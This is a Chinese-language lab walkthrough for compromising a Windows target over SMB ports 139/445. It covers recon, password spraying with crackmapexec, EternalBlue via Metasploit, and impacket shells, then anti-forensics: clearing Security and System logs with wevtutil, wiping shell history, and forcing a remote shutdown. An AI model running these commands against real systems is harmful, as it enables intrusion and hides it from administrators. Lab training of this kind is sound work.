一、核心端口基础认知
139/tcp与445/tcp均是Windows系统下SMB(Server Message Block,服务器消息块)协议的核心端口,用于文件共享、打印机共享及远程命令执行等功能,是Windows靶机渗透的最常用入口之一。
-
139/tcp:基于NetBIOS协议的SMB端口,主要用于旧版Windows(如XP、Server 2003),通过NetBIOS名称解析实现设备间通信。
-
445/tcp:直接基于TCP协议的SMB端口,Windows 2000及以上版本默认开启,替代139/tcp成为主流,支持更稳定的长连接和更高的传输效率,也是现代Windows靶机(如Win10、Server 2019)的核心攻击面。
渗透核心逻辑:通过SMB协议的身份认证漏洞、弱口令、协议漏洞(如永恒之蓝MS17-010)等,获取靶机账号密码或直接获取系统权限,进而实现完整控制。
二、完整渗透流程闭环(从侦察到离场)
阶段1:前期侦察------锁定目标与端口状态
核心目标:确认靶机存活、139/445端口是否开放、靶机系统版本及SMB服务信息,为后续攻击提供依据。
1.1 靶机存活探测
先确定靶机在局域网内的IP地址,常用工具:arp-scan、netdiscover。
# 方法1:arp-scan扫描局域网存活设备(需root权限) sudo arp-scan -l # -l表示扫描当前网段 # 方法2:netdiscover指定网段扫描(更精准) sudo netdiscover -r 192.168.1.0/24 # 替换为实际网段
输出说明:重点记录"存活主机IP+MAC地址",若MAC地址前缀为00:0C:29(VMware)、52:54:00(VirtualBox),可确认是虚拟机靶机。
1.2 139/445端口及服务详情扫描
使用nmap深度扫描,获取端口状态、服务版本、靶机系统版本等关键信息。
# 基础扫描:指定139、445端口,探测服务版本和操作系统 sudo nmap -p 139,445 -sV -O 192.168.1.3 # 替换为靶机IP # 全端口补充扫描(确认是否有其他关联端口,如3389 RDP) sudo nmap -p- -sV -T4 -A 192.168.1.3 # -T4为扫描速度等级,A为全面探测
关键输出解读:
-
PORT状态:需为"open"(开放)才具备攻击条件;
-
SERVICE信息:139对应"netbios-ssn",445对应"microsoft-ds";
-
OS details:确认Windows版本(如Win10 1709-21H2),影响漏洞选择(如新版Win10已修复永恒之蓝);
-
signing/SMBv1:若显示"signing:False"(SMB签名关闭),可降低攻击难度;"SMBv1:False"表示不支持旧版SMBv1协议。
阶段2:攻击突破------获取账号密码或直接提权
核心思路:优先尝试弱口令爆破(成本最低、成功率高),若失败再尝试SMB协议漏洞(如MS17-010)。
2.1 弱口令爆破(密码喷洒攻击)
Windows默认有账户锁定策略(多次错误密码锁定账号),因此采用"密码喷洒":用1个常见密码尝试多个常见账号,而非1个账号尝试多个密码。
2.1.1 准备字典(适配zsh/bash终端)
# 1. 创建常见用户名字典(Windows高频账号) printf "Administrator\nadmin\nUser\nGuest\nWin10User\nDesktopUser" > users.txt # 2. 创建常见弱口令字典(避开特殊字符,兼容zsh) printf "123456\npassword\n12345678\nAdmin@123\nPassword123\n\n" > pass.txt # 空行表示空密码
2.1.2 执行爆破(使用crackmapexec工具)
# 扫描SMB端口,使用字典进行密码喷洒 crackmapexec smb 192.168.1.3 -u users.txt -p pass.txt # 简化版:直接指定单个账号尝试(如Administrator) crackmapexec smb 192.168.1.3 -u Administrator -p pass.txt
2.1.3 爆破结果判断
若输出中出现"[+] DESKTOP-K81RUHG\Administrator:123456 (Pwn3d!)",表示成功获取管理员账号密码(Pwn3d! 代表已获取系统权限)。
2.2 备选方案:SMB协议漏洞利用(如永恒之蓝MS17-010)
若弱口令爆破失败,且靶机为旧版Windows(如Win7、Server 2008)或未打MS17-010补丁的Win10早期版本,可尝试此方法。
# 1. 启动msfconsole(Metasploit框架) msfconsole # 2. 搜索并加载永恒之蓝漏洞模块 search ms17-010 use exploit/windows/smb/ms17_010_eternalblue # 3. 配置参数并执行攻击 set RHOSTS 192.168.1.3 # 靶机IP set RPORT 445 # SMB端口 run
成功标志:获取Meterpreter会话(终端显示"Meterpreter session 1 opened"),此时已获得系统权限。
阶段3:权限验证与目标取证------确认控制靶机
核心目标:利用获取的权限访问靶机核心资源(如C盘),提取靶机关键信息(如Flag、账号密码数据库)。
3.1 通过SMB共享验证权限(最直接)
Windows管理员默认拥有C、D等隐藏共享目录的访问权限,通过smbclient连接验证。
# 连接靶机C盘隐藏共享(需管理员账号密码) smbclient //192.168.1.3/C$ -U Administrator%123456 # 连接成功后,执行以下命令取证 ls # 查看C盘文件(重点关注Flag文件,如my_flag.txt) get my_flag.txt # 下载Flag文件到Kali本地 exit # 退出连接 # 查看下载的Flag cat my_flag.txt
成功标志:能正常列出C盘文件并下载Flag(如flag{I_am_Administrator_and_I_pwned_this_machine!})。
3.2 获取交互式系统Shell(进阶)
使用impacket工具集的psexec或wmiexec,获取靶机cmd交互式shell,执行更多系统命令。
# 方法1:psexec获取System权限shell impacket-psexec Administrator:123456@192.168.1.3 # 方法2:wmiexec获取shell(无痕迹,更隐蔽) impacket-wmiexec Administrator:123456@192.168.1.3 # 进入shell后,执行以下命令验证权限 whoami # 输出"nt authority\system"表示最高权限 ipconfig # 查看靶机网络配置 type C:\my_flag.txt # 直接查看Flag文件
阶段4:痕迹清理与离场------模拟真实渗透闭环
核心目标:清除攻击痕迹,避免被靶机管理员发现,完成"渗透-控制-撤离"的完整闭环。
4.1 清理攻击机(Kali)痕迹
# 1. 清除终端命令历史(zsh终端) history -c # 清空当前会话历史 cat /dev/null > ~/.zsh_history # 彻底覆盖历史文件 # 2. 销毁靶机敏感文件(如Flag) shred -u my_flag.txt # 多次覆盖后删除,无法恢复(比rm更安全)
4.2 清理靶机痕迹
通过交互式shell清除Windows系统日志(记录登录、命令执行等操作)。
# 1. 先获取靶机shell(若已退出,重新连接) impacket-wmiexec Administrator:123456@192.168.1.3 # 2. 清除Windows核心日志(wevtutil是Windows内置日志管理工具) wevtutil cl Security # 清除安全日志(记录登录/登出、权限变更) wevtutil cl System # 清除系统日志(记录服务启动/停止、系统错误) wevtutil cl Application # 清除应用程序日志 # 3. 退出shell exit
4.3 远程关闭靶机(彻底离场)
通过wmiexec远程执行关机命令,结束控制。
impacket-wmiexec Administrator:123456@192.168.1.3 "shutdown /s /f /t 0" # 参数说明:/s=关机,/f=强制关闭程序,/t 0=立即执行
成功标志:靶机窗口黑屏关机,Kali终端输出"[*] Process exited with code 0"。
三、关键工具与命令汇总(复习重点)
| 工具/命令 | 作用 | 核心用法 |
|---|---|---|
| nmap | 端口扫描与服务探测 | sudo nmap -p 139,445 -sV -O 靶机IP |
| crackmapexec | SMB弱口令爆破(密码喷洒) | crackmapexec smb 靶机IP -u users.txt -p pass.txt |
| smbclient | 访问SMB共享目录,下载文件 | smbclient //靶机IP/C$ -U 账号%密码 |
| impacket-psexec | 获取靶机交互式System权限shell | impacket-psexec 账号:密码@靶机IP |
| impacket-wmiexec | 远程执行命令(无痕迹) | impacket-wmiexec 账号:密码@靶机IP "命令" |
| wevtutil | 清除Windows系统日志 | wevtutil cl Security / System / Application |
四、常见问题与注意事项(避坑指南)
-
终端兼容性问题:zsh终端对特殊字符(如!、\n)解析异常,创建字典时优先用printf而非echo -e;
-
工具命名问题:新版Kali中impacket工具前缀简化(如impacket-sc.py→sc.py),优先使用impacket-wmiexec、impacket-psexec(兼容性更好);
-
RDP连接失败:Win10默认强制CredSSP协议,rdesktop不支持,可放弃图形界面,直接用smbclient或impacket获取shell;
-
账号锁定风险:密码喷洒时避免高频尝试,若出现"STATUS_ACCOUNT_LOCKED_OUT",需等待锁定时间或更换字典;
-
痕迹清理重点:Windows安全日志是核心,必须清除;Kali终端历史需彻底覆盖,避免泄露账号密码。
五、渗透闭环核心逻辑总结
139/445端口渗透的核心是"利用SMB协议的信任关系突破权限",完整闭环可概括为:
「侦察(nmap扫端口/系统)→ 突破(弱口令/漏洞拿权限)→ 取证(访问共享/读Flag)→ 清理(删日志/清历史)→ 离场(远程关机)」
其中,弱口令爆破是最实用的入门手段,也是真实渗透中高频成功的攻击方式;SMB协议漏洞则适用于特定版本靶机,需结合系统版本判断是否适用。